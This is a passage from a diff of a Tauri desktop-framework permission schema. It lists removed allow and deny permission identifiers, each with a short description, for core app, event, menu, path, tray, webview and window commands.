without any pre-configured scope.", - "type": "string", - "const": "core:app:allow-app-hide" - }, - { - "description": "Enables the app_show command without any pre-configured scope.", - "type": "string", - "const": "core:app:allow-app-show" - }, - { - "description": "Enables the default_window_icon command without any pre-configured scope.", - "type": "string", - "const": "core:app:allow-default-window-icon" - }, - { - "description": "Enables the name command without any pre-configured scope.", - "type": "string", - "const": "core:app:allow-name" - }, - { - "description": "Enables the set_app_theme command without any pre-configured scope.", - "type": "string", - "const": "core:app:allow-set-app-theme" - }, - { - "description": "Enables the tauri_version command without any pre-configured scope.", - "type": "string", - "const": "core:app:allow-tauri-version" - }, - { - "description": "Enables the version command without any pre-configured scope.", - "type": "string", - "const": "core:app:allow-version" - }, - { - "description": "Denies the app_hide command without any pre-configured scope.", - "type": "string", - "const": "core:app:deny-app-hide" - }, - { - "description": "Denies the app_show command without any pre-configured scope.", - "type": "string", - "const": "core:app:deny-app-show" - }, - { - "description": "Denies the default_window_icon command without any pre-configured scope.", - "type": "string", - "const": "core:app:deny-default-window-icon" - }, - { - "description": "Denies the name command without any pre-configured scope.", - "type": "string", - "const": "core:app:deny-name" - }, - { - "description": "Denies the set_app_theme command without any pre-configured scope.", - "type": "string", - "const": "core:app:deny-set-app-theme" - }, - { - "description": "Denies the tauri_version command without any pre-configured scope.", - "type": "string", - "const": "core:app:deny-tauri-version" - }, - { - "description": "Denies the version command without any pre-configured scope.", - "type": "string", - "const": "core:app:deny-version" - }, - { - "description": "Default permissions for the plugin.", - "type": "string", - "const": "core:event:default" - }, - { - "description": "Enables the emit command without any pre-configured scope.", - "type": "string", - "const": "core:event:allow-emit" - }, - { - "description": "Enables the emit_to command without any pre-configured scope.", - "type": "string", - "const": "core:event:allow-emit-to" - }, - { - "description": "Enables the listen command without any pre-configured scope.", - "type": "string", - "const": "core:event:allow-listen" - }, - { - "description": "Enables the unlisten command without any pre-configured scope.", - "type": "string", - "const": "core:event:allow-unlisten" - }, - { - "description": "Denies the emit command without any pre-configured scope.", - "type": "string", - "const": "core:event:deny-emit" - }, - { - "description": "Denies the emit_to command without any pre-configured scope.", - "type": "string", - "const": "core:event:deny-emit-to" - }, - { - "description": "Denies the listen command without any pre-configured scope.", - "type": "string", - "const": "core:event:deny-listen" - }, - { - "description": "Denies the unlisten command without any pre-configured scope.", - "type": "string", - "const": "core:event:deny-unlisten" - }, - { - "description": "Default permissions for the plugin.", - "type": "string", - "const": "core:image:default" - }, - { - "description": "Enables the from_bytes command without any pre-configured scope.", - "type": "string", - "const": "core:image:allow-from-bytes" - }, - { - "description": "Enables the from_path command without any pre-configured scope.", - "type": "string", - "const": "core:image:allow-from-path" - }, - { - "description": "Enables the new command without any pre-configured scope.", - "type": "string", - "const": "core:image:allow-new" - }, - { - "description": "Enables the rgba command without any pre-configured scope.", - "type": "string", - "const": "core:image:allow-rgba" - }, - { - "description": "Enables the size command without any pre-configured scope.", - "type": "string", - "const": "core:image:allow-size" - }, - { - "description": "Denies the from_bytes command without any pre-configured scope.", - "type": "string", - "const": "core:image:deny-from-bytes" - }, - { - "description": "Denies the from_path command without any pre-configured scope.", - "type": "string", - "const": "core:image:deny-from-path" - }, - { - "description": "Denies the new command without any pre-configured scope.", - "type": "string", - "const": "core:image:deny-new" - }, - { - "description": "Denies the rgba command without any pre-configured scope.", - "type": "string", - "const": "core:image:deny-rgba" - }, - { - "description": "Denies the size command without any pre-configured scope.", - "type": "string", - "const": "core:image:deny-size" - }, - { - "description": "Default permissions for the plugin.", - "type": "string", - "const": "core:menu:default" - }, - { - "description": "Enables the append command without any pre-configured scope.", - "type": "string", - "const": "core:menu:allow-append" - }, - { - "description": "Enables the create_default command without any pre-configured scope.", - "type": "string", - "const": "core:menu:allow-create-default" - }, - { - "description": "Enables the get command without any pre-configured scope.", - "type": "string", - "const": "core:menu:allow-get" - }, - { - "description": "Enables the insert command without any pre-configured scope.", - "type": "string", - "const": "core:menu:allow-insert" - }, - { - "description": "Enables the is_checked command without any pre-configured scope.", - "type": "string", - "const": "core:menu:allow-is-checked" - }, - { - "description": "Enables the is_enabled command without any pre-configured scope.", - "type": "string", - "const": "core:menu:allow-is-enabled" - }, - { - "description": "Enables the items command without any pre-configured scope.", - "type": "string", - "const": "core:menu:allow-items" - }, - { - "description": "Enables the new command without any pre-configured scope.", - "type": "string", - "const": "core:menu:allow-new" - }, - { - "description": "Enables the popup command without any pre-configured scope.", - "type": "string", - "const": "core:menu:allow-popup" - }, - { - "description": "Enables the prepend command without any pre-configured scope.", - "type": "string", - "const": "core:menu:allow-prepend" - }, - { - "description": "Enables the remove command without any pre-configured scope.", - "type": "string", - "const": "core:menu:allow-remove" - }, - { - "description": "Enables the remove_at command without any pre-configured scope.", - "type": "string", - "const": "core:menu:allow-remove-at" - }, - { - "description": "Enables the set_accelerator command without any pre-configured scope.", - "type": "string", - "const": "core:menu:allow-set-accelerator" - }, - { - "description": "Enables the set_as_app_menu command without any pre-configured scope.", - "type": "string", - "const": "core:menu:allow-set-as-app-menu" - }, - { - "description": "Enables the set_as_help_menu_for_nsapp command without any pre-configured scope.", - "type": "string", - "const": "core:menu:allow-set-as-help-menu-for-nsapp" - }, - { - "description": "Enables the set_as_window_menu command without any pre-configured scope.", - "type": "string", - "const": "core:menu:allow-set-as-window-menu" - }, - { - "description": "Enables the set_as_windows_menu_for_nsapp command without any pre-configured scope.", - "type": "string", - "const": "core:menu:allow-set-as-windows-menu-for-nsapp" - }, - { - "description": "Enables the set_checked command without any pre-configured scope.", - "type": "string", - "const": "core:menu:allow-set-checked" - }, - { - "description": "Enables the set_enabled command without any pre-configured scope.", - "type": "string", - "const": "core:menu:allow-set-enabled" - }, - { - "description": "Enables the set_icon command without any pre-configured scope.", - "type": "string", - "const": "core:menu:allow-set-icon" - }, - { - "description": "Enables the set_text command without any pre-configured scope.", - "type": "string", - "const": "core:menu:allow-set-text" - }, - { - "description": "Enables the text command without any pre-configured scope.", - "type": "string", - "const": "core:menu:allow-text" - }, - { - "description": "Denies the append command without any pre-configured scope.", - "type": "string", - "const": "core:menu:deny-append" - }, - { - "description": "Denies the create_default command without any pre-configured scope.", - "type": "string", - "const": "core:menu:deny-create-default" - }, - { - "description": "Denies the get command without any pre-configured scope.", - "type": "string", - "const": "core:menu:deny-get" - }, - { - "description": "Denies the insert command without any pre-configured scope.", - "type": "string", - "const": "core:menu:deny-insert" - }, - { - "description": "Denies the is_checked command without any pre-configured scope.", - "type": "string", - "const": "core:menu:deny-is-checked" - }, - { - "description": "Denies the is_enabled command without any pre-configured scope.", - "type": "string", - "const": "core:menu:deny-is-enabled" - }, - { - "description": "Denies the items command without any pre-configured scope.", - "type": "string", - "const": "core:menu:deny-items" - }, - { - "description": "Denies the new command without any pre-configured scope.", - "type": "string", - "const": "core:menu:deny-new" - }, - { - "description": "Denies the popup command without any pre-configured scope.", - "type": "string", - "const": "core:menu:deny-popup" - }, - { - "description": "Denies the prepend command without any pre-configured scope.", - "type": "string", - "const": "core:menu:deny-prepend" - }, - { - "description": "Denies the remove command without any pre-configured scope.", - "type": "string", - "const": "core:menu:deny-remove" - }, - { - "description": "Denies the remove_at command without any pre-configured scope.", - "type": "string", - "const": "core:menu:deny-remove-at" - }, - { - "description": "Denies the set_accelerator command without any pre-configured scope.", - "type": "string", - "const": "core:menu:deny-set-accelerator" - }, - { - "description": "Denies the set_as_app_menu command without any pre-configured scope.", - "type": "string", - "const": "core:menu:deny-set-as-app-menu" - }, - { - "description": "Denies the set_as_help_menu_for_nsapp command without any pre-configured scope.", - "type": "string", - "const": "core:menu:deny-set-as-help-menu-for-nsapp" - }, - { - "description": "Denies the set_as_window_menu command without any pre-configured scope.", - "type": "string", - "const": "core:menu:deny-set-as-window-menu" - }, - { - "description": "Denies the set_as_windows_menu_for_nsapp command without any pre-configured scope.", - "type": "string", - "const": "core:menu:deny-set-as-windows-menu-for-nsapp" - }, - { - "description": "Denies the set_checked command without any pre-configured scope.", - "type": "string", - "const": "core:menu:deny-set-checked" - }, - { - "description": "Denies the set_enabled command without any pre-configured scope.", - "type": "string", - "const": "core:menu:deny-set-enabled" - }, - { - "description": "Denies the set_icon command without any pre-configured scope.", - "type": "string", - "const": "core:menu:deny-set-icon" - }, - { - "description": "Denies the set_text command without any pre-configured scope.", - "type": "string", - "const": "core:menu:deny-set-text" - }, - { - "description": "Denies the text command without any pre-configured scope.", - "type": "string", - "const": "core:menu:deny-text" - }, - { - "description": "Default permissions for the plugin.", - "type": "string", - "const": "core:path:default" - }, - { - "description": "Enables the basename command without any pre-configured scope.", - "type": "string", - "const": "core:path:allow-basename" - }, - { - "description": "Enables the dirname command without any pre-configured scope.", - "type": "string", - "const": "core:path:allow-dirname" - }, - { - "description": "Enables the extname command without any pre-configured scope.", - "type": "string", - "const": "core:path:allow-extname" - }, - { - "description": "Enables the is_absolute command without any pre-configured scope.", - "type": "string", - "const": "core:path:allow-is-absolute" - }, - { - "description": "Enables the join command without any pre-configured scope.", - "type": "string", - "const": "core:path:allow-join" - }, - { - "description": "Enables the normalize command without any pre-configured scope.", - "type": "string", - "const": "core:path:allow-normalize" - }, - { - "description": "Enables the resolve command without any pre-configured scope.", - "type": "string", - "const": "core:path:allow-resolve" - }, - { - "description": "Enables the resolve_directory command without any pre-configured scope.", - "type": "string", - "const": "core:path:allow-resolve-directory" - }, - { - "description": "Denies the basename command without any pre-configured scope.", - "type": "string", - "const": "core:path:deny-basename" - }, - { - "description": "Denies the dirname command without any pre-configured scope.", - "type": "string", - "const": "core:path:deny-dirname" - }, - { - "description": "Denies the extname command without any pre-configured scope.", - "type": "string", - "const": "core:path:deny-extname" - }, - { - "description": "Denies the is_absolute command without any pre-configured scope.", - "type": "string", - "const": "core:path:deny-is-absolute" - }, - { - "description": "Denies the join command without any pre-configured scope.", - "type": "string", - "const": "core:path:deny-join" - }, - { - "description": "Denies the normalize command without any pre-configured scope.", - "type": "string", - "const": "core:path:deny-normalize" - }, - { - "description": "Denies the resolve command without any pre-configured scope.", - "type": "string", - "const": "core:path:deny-resolve" - }, - { - "description": "Denies the resolve_directory command without any pre-configured scope.", - "type": "string", - "const": "core:path:deny-resolve-directory" - }, - { - "description": "Default permissions for the plugin.", - "type": "string", - "const": "core:resources:default" - }, - { - "description": "Enables the close command without any pre-configured scope.", - "type": "string", - "const": "core:resources:allow-close" - }, - { - "description": "Denies the close command without any pre-configured scope.", - "type": "string", - "const": "core:resources:deny-close" - }, - { - "description": "Default permissions for the plugin.", - "type": "string", - "const": "core:tray:default" - }, - { - "description": "Enables the get_by_id command without any pre-configured scope.", - "type": "string", - "const": "core:tray:allow-get-by-id" - }, - { - "description": "Enables the new command without any pre-configured scope.", - "type": "string", - "const": "core:tray:allow-new" - }, - { - "description": "Enables the remove_by_id command without any pre-configured scope.", - "type": "string", - "const": "core:tray:allow-remove-by-id" - }, - { - "description": "Enables the set_icon command without any pre-configured scope.", - "type": "string", - "const": "core:tray:allow-set-icon" - }, - { - "description": "Enables the set_icon_as_template command without any pre-configured scope.", - "type": "string", - "const": "core:tray:allow-set-icon-as-template" - }, - { - "description": "Enables the set_menu command without any pre-configured scope.", - "type": "string", - "const": "core:tray:allow-set-menu" - }, - { - "description": "Enables the set_show_menu_on_left_click command without any pre-configured scope.", - "type": "string", - "const": "core:tray:allow-set-show-menu-on-left-click" - }, - { - "description": "Enables the set_temp_dir_path command without any pre-configured scope.", - "type": "string", - "const": "core:tray:allow-set-temp-dir-path" - }, - { - "description": "Enables the set_title command without any pre-configured scope.", - "type": "string", - "const": "core:tray:allow-set-title" - }, - { - "description": "Enables the set_tooltip command without any pre-configured scope.", - "type": "string", - "const": "core:tray:allow-set-tooltip" - }, - { - "description": "Enables the set_visible command without any pre-configured scope.", - "type": "string", - "const": "core:tray:allow-set-visible" - }, - { - "description": "Denies the get_by_id command without any pre-configured scope.", - "type": "string", - "const": "core:tray:deny-get-by-id" - }, - { - "description": "Denies the new command without any pre-configured scope.", - "type": "string", - "const": "core:tray:deny-new" - }, - { - "description": "Denies the remove_by_id command without any pre-configured scope.", - "type": "string", - "const": "core:tray:deny-remove-by-id" - }, - { - "description": "Denies the set_icon command without any pre-configured scope.", - "type": "string", - "const": "core:tray:deny-set-icon" - }, - { - "description": "Denies the set_icon_as_template command without any pre-configured scope.", - "type": "string", - "const": "core:tray:deny-set-icon-as-template" - }, - { - "description": "Denies the set_menu command without any pre-configured scope.", - "type": "string", - "const": "core:tray:deny-set-menu" - }, - { - "description": "Denies the set_show_menu_on_left_click command without any pre-configured scope.", - "type": "string", - "const": "core:tray:deny-set-show-menu-on-left-click" - }, - { - "description": "Denies the set_temp_dir_path command without any pre-configured scope.", - "type": "string", - "const": "core:tray:deny-set-temp-dir-path" - }, - { - "description": "Denies the set_title command without any pre-configured scope.", - "type": "string", - "const": "core:tray:deny-set-title" - }, - { - "description": "Denies the set_tooltip command without any pre-configured scope.", - "type": "string", - "const": "core:tray:deny-set-tooltip" - }, - { - "description": "Denies the set_visible command without any pre-configured scope.", - "type": "string", - "const": "core:tray:deny-set-visible" - }, - { - "description": "Default permissions for the plugin.", - "type": "string", - "const": "core:webview:default" - }, - { - "description": "Enables the clear_all_browsing_data command without any pre-configured scope.", - "type": "string", - "const": "core:webview:allow-clear-all-browsing-data" - }, - { - "description": "Enables the create_webview command without any pre-configured scope.", - "type": "string", - "const": "core:webview:allow-create-webview" - }, - { - "description": "Enables the create_webview_window command without any pre-configured scope.", - "type": "string", - "const": "core:webview:allow-create-webview-window" - }, - { - "description": "Enables the get_all_webviews command without any pre-configured scope.", - "type": "string", - "const": "core:webview:allow-get-all-webviews" - }, - { - "description": "Enables the internal_toggle_devtools command without any pre-configured scope.", - "type": "string", - "const": "core:webview:allow-internal-toggle-devtools" - }, - { - "description": "Enables the print command without any pre-configured scope.", - "type": "string", - "const": "core:webview:allow-print" - }, - { - "description": "Enables the reparent command without any pre-configured scope.", - "type": "string", - "const": "core:webview:allow-reparent" - }, - { - "description": "Enables the set_webview_focus command without any pre-configured scope.", - "type": "string", - "const": "core:webview:allow-set-webview-focus" - }, - { - "description": "Enables the set_webview_position command without any pre-configured scope.", - "type": "string", - "const": "core:webview:allow-set-webview-position" - }, - { - "description": "Enables the set_webview_size command without any pre-configured scope.", - "type": "string", - "const": "core:webview:allow-set-webview-size" - }, - { - "description": "Enables the set_webview_zoom command without any pre-configured scope.", - "type": "string", - "const": "core:webview:allow-set-webview-zoom" - }, - { - "description": "Enables the webview_close command without any pre-configured scope.", - "type": "string", - "const": "core:webview:allow-webview-close" - }, - { - "description": "Enables the webview_hide command without any pre-configured scope.", - "type": "string", - "const": "core:webview:allow-webview-hide" - }, - { - "description": "Enables the webview_position command without any pre-configured scope.", - "type": "string", - "const": "core:webview:allow-webview-position" - }, - { - "description": "Enables the webview_show command without any pre-configured scope.", - "type": "string", - "const": "core:webview:allow-webview-show" - }, - { - "description": "Enables the webview_size command without any pre-configured scope.", - "type": "string", - "const": "core:webview:allow-webview-size" - }, - { - "description": "Denies the clear_all_browsing_data command without any pre-configured scope.", - "type": "string", - "const": "core:webview:deny-clear-all-browsing-data" - }, - { - "description": "Denies the create_webview command without any pre-configured scope.", - "type": "string", - "const": "core:webview:deny-create-webview" - }, - { - "description": "Denies the create_webview_window command without any pre-configured scope.", - "type": "string", - "const": "core:webview:deny-create-webview-window" - }, - { - "description": "Denies the get_all_webviews command without any pre-configured scope.", - "type": "string", - "const": "core:webview:deny-get-all-webviews" - }, - { - "description": "Denies the internal_toggle_devtools command without any pre-configured scope.", - "type": "string", - "const": "core:webview:deny-internal-toggle-devtools" - }, - { - "description": "Denies the print command without any pre-configured scope.", - "type": "string", - "const": "core:webview:deny-print" - }, - { - "description": "Denies the reparent command without any pre-configured scope.", - "type": "string", - "const": "core:webview:deny-reparent" - }, - { - "description": "Denies the set_webview_focus command without any pre-configured scope.", - "type": "string", - "const": "core:webview:deny-set-webview-focus" - }, - { - "description": "Denies the set_webview_position command without any pre-configured scope.", - "type": "string", - "const": "core:webview:deny-set-webview-position" - }, - { - "description": "Denies the set_webview_size command without any pre-configured scope.", - "type": "string", - "const": "core:webview:deny-set-webview-size" - }, - { - "description": "Denies the set_webview_zoom command without any pre-configured scope.", - "type": "string", - "const": "core:webview:deny-set-webview-zoom" - }, - { - "description": "Denies the webview_close command without any pre-configured scope.", - "type": "string", - "const": "core:webview:deny-webview-close" - }, - { - "description": "Denies the webview_hide command without any pre-configured scope.", - "type": "string", - "const": "core:webview:deny-webview-hide" - }, - { - "description": "Denies the webview_position command without any pre-configured scope.", - "type": "string", - "const": "core:webview:deny-webview-position" - }, - { - "description": "Denies the webview_show command without any pre-configured scope.", - "type": "string", - "const": "core:webview:deny-webview-show" - }, - { - "description": "Denies the webview_size command without any pre-configured scope.", - "type": "string", - "const": "core:webview:deny-webview-size" - }, - { - "description": "Default permissions for the plugin.", - "type": "string", - "const": "core:window:default" - }, - { - "description": "Enables the available_monitors command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-available-monitors" - }, - { - "description": "Enables the center command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-center" - }, - { - "description": "Enables the close command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-close" - }, - { - "description": "Enables the create command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-create" - }, - { - "description": "Enables the current_monitor command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-current-monitor" - }, - { - "description": "Enables the cursor_position command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-cursor-position" - }, - { - "description": "Enables the destroy command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-destroy" - }, - { - "description": "Enables the get_all_windows command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-get-all-windows" - }, - { - "description": "Enables the hide command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-hide" - }, - { - "description": "Enables the inner_position command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-inner-position" - }, - { - "description": "Enables the inner_size command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-inner-size" - }, - { - "description": "Enables the internal_toggle_maximize command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-internal-toggle-maximize" - }, - { - "description": "Enables the is_closable command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-is-closable" - }, - { - "description": "Enables the is_decorated command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-is-decorated" - }, - { - "description": "Enables the is_enabled command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-is-enabled" - }, - { - "description": "Enables the is_focused command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-is-focused" - }, - { - "description": "Enables the is_fullscreen command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-is-fullscreen" - }, - { - "description": "Enables the is_maximizable command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-is-maximizable" - }, - { - "description": "Enables the is_maximized command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-is-maximized" - }, - { - "description": "Enables the is_minimizable command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-is-minimizable" - }, - { - "description": "Enables the is_minimized command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-is-minimized" - }, - { - "description": "Enables the is_resizable command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-is-resizable" - }, - { - "description": "Enables the is_visible command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-is-visible" - }, - { - "description": "Enables the maximize command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-maximize" - }, - { - "description": "Enables the minimize command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-minimize" - }, - { - "description": "Enables the monitor_from_point command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-monitor-from-point" - }, - { - "description": "Enables the outer_position command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-outer-position" - }, - { - "description": "Enables the outer_size command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-outer-size" - }, - { - "description": "Enables the primary_monitor command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-primary-monitor" - }, - { - "description": "Enables the request_user_attention command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-request-user-attention" - }, - { - "description": "Enables the scale_factor command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-scale-factor" - }, - { - "description": "Enables the set_always_on_bottom command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-set-always-on-bottom" - }, - { - "description": "Enables the set_always_on_top command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-set-always-on-top" - }, - { - "description": "Enables the set_closable command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-set-closable" - }, - { - "description": "Enables the set_content_protected command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-set-content-protected" - }, - { - "description": "Enables the set_cursor_grab command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-set-cursor-grab" - }, - { - "description": "Enables the set_cursor_icon command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-set-cursor-icon" - }, - { - "description": "Enables the set_cursor_position command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-set-cursor-position" - }, - { - "description": "Enables the set_cursor_visible command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-set-cursor-visible" - }, - { - "description": "Enables the set_decorations command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-set-decorations" - }, - { - "description": "Enables the set_effects command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-set-effects" - }, - { - "description": "Enables the set_enabled command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-set-enabled" - }, - { - "description": "Enables the set_focus command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-set-focus" - }, - { - "description": "Enables the set_fullscreen command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-set-fullscreen" - }, - { - "description": "Enables the set_icon command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-set-icon" - }, - { - "description": "Enables the set_ignore_cursor_events command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-set-ignore-cursor-events" - }, - { - "description": "Enables the set_max_size command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-set-max-size" - }, - { - "description": "Enables the set_maximizable command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-set-maximizable" - }, - { - "description": "Enables the set_min_size command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-set-min-size" - }, - { - "description": "Enables the set_minimizable command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-set-minimizable" - }, - { - "description": "Enables the set_position command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-set-position" - }, - { - "description": "Enables the set_progress_bar command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-set-progress-bar" - }, - { - "description": "Enables the set_resizable command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-set-resizable" - }, - { - "description": "Enables the set_shadow command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-set-shadow" - }, - { - "description": "Enables the set_size command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-set-size" - }, - { - "description": "Enables the set_size_constraints command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-set-size-constraints" - }, - { - "description": "Enables the set_skip_taskbar command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-set-skip-taskbar" - }, - { - "description": "Enables the set_theme command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-set-theme" - }, - { - "description": "Enables the set_title command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-set-title" - }, - { - "description": "Enables the set_title_bar_style command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-set-title-bar-style" - }, - { - "description": "Enables the set_visible_on_all_workspaces command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-set-visible-on-all-workspaces" - }, - { - "description": "Enables the show command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-show" - }, - { - "description": "Enables the start_dragging command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-start-dragging" - }, - { - "description": "Enables the start_resize_dragging command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-start-resize-dragging" - }, - { - "description": "Enables the theme command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-theme" - }, - { - "description": "Enables the title command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-title" - }, - { - "description": "Enables the toggle_maximize command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-toggle-maximize" - }, - { - "description": "Enables the unmaximize command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-unmaximize" - }, - { - "description": "Enables the unminimize command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-unminimize" - }, - { - "description": "Denies the available_monitors command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-available-monitors" - }, - { - "description": "Denies the center command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-center" - }, - { - "description": "Denies the close command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-close" - }, - { - "description": "Denies the create command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-create" - }, - { - "description": "Denies the current_monitor command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-current-monitor" - }, - { - "description": "Denies the cursor_position command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-cursor-position" - }, - { - "description": "Denies the destroy command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-destroy" - }, - { - "description": "Denies the get_all_windows command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-get-all-windows" - }, - { - "description": "Denies the hide command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-hide" - }, - { - "description": "Denies the inner_position command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-inner-position" - }, - { - "description": "Denies the inner_size command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-inner-size" - }, - { - "description": "Denies the internal_toggle_maximize command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-internal-toggle-maximize" - }, - { - "description": "Denies the is_closable command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-is-closable" - }, - { - "description": "Denies the is_decorated command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-is-decorated" - }, - { - "description": "Denies the is_enabled command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-is-enabled" - }, - { - "description": "Denies the is_focused command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-is-focused" - }, - { - "description": "Denies the is_fullscreen command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-is-fullscreen" - }, - { - "description": "Denies the is_maximizable command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-is-maximizable" - }, - { - "description": "Denies the is_maximized command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-is-maximized" - }, - { - "description": "Denies the is_minimizable command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-is-minimizable" - }, - { - "description": "Denies the is_minimized command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-is-minimized" - }, - { - "description": "Denies the is_resizable command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-is-resizable" - }, - { - "description": "Denies the is_visible command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-is-visible" - }, - { - "description": "Denies the maximize command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-maximize" - }, - { - "description": "Denies the minimize command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-minimize" - }, - { - "description": "Denies the monitor_from_point command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-monitor-from-point" - }, - { - "description": "Denies the outer_position command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-outer-position" - }, - { - "description": "Denies the outer_size command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-outer-size" - }, - { - "description": "Denies the primary_monitor command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-primary-monitor" - }, - { - "description": "Denies the request_user_attention command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-request-user-attention" - }, - { - "description": "Denies the scale_factor command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-scale-factor" - }, - { - "description": "Denies the set_always_on_bottom command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-set-always-on-bottom" - }, - { - "description": "Denies the set_always_on_top command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-set-always-on-top" - }, - { - "description": "Denies the set_closable command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-set-closable" - }, - { - "description": "Denies the set_content_protected command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-set-content-protected" - }, - { - "description": "Denies the set_cursor_grab command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-set-cursor-grab" - }, - { - "description": "Denies the set_cursor_icon command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-set-cursor-icon" - }, - { - "description": "Denies the set_cursor_position command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-set-cursor-position" - }, - { - "description": "Denies the set_cursor_visible command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-set-cursor-visible" - }, - { - "description": "Denies the set_decorations command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-set-decorations" - }, - { - "description": "Denies the set_effects command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-set-effects" - }, - { - "description": "Denies the set_enabled command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-set-enabled" - }, - { - "description": "Denies the set_focus command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-set-focus" - }, - { - "description": "Denies the set_fullscreen command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-set-fullscreen" - }, - { - "description": "Denies the set_icon command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-set-icon" - }, - { - "description": "Denies the set_ignore_cursor_events command without any pre-configured scope.", - "type": "string", - "const": 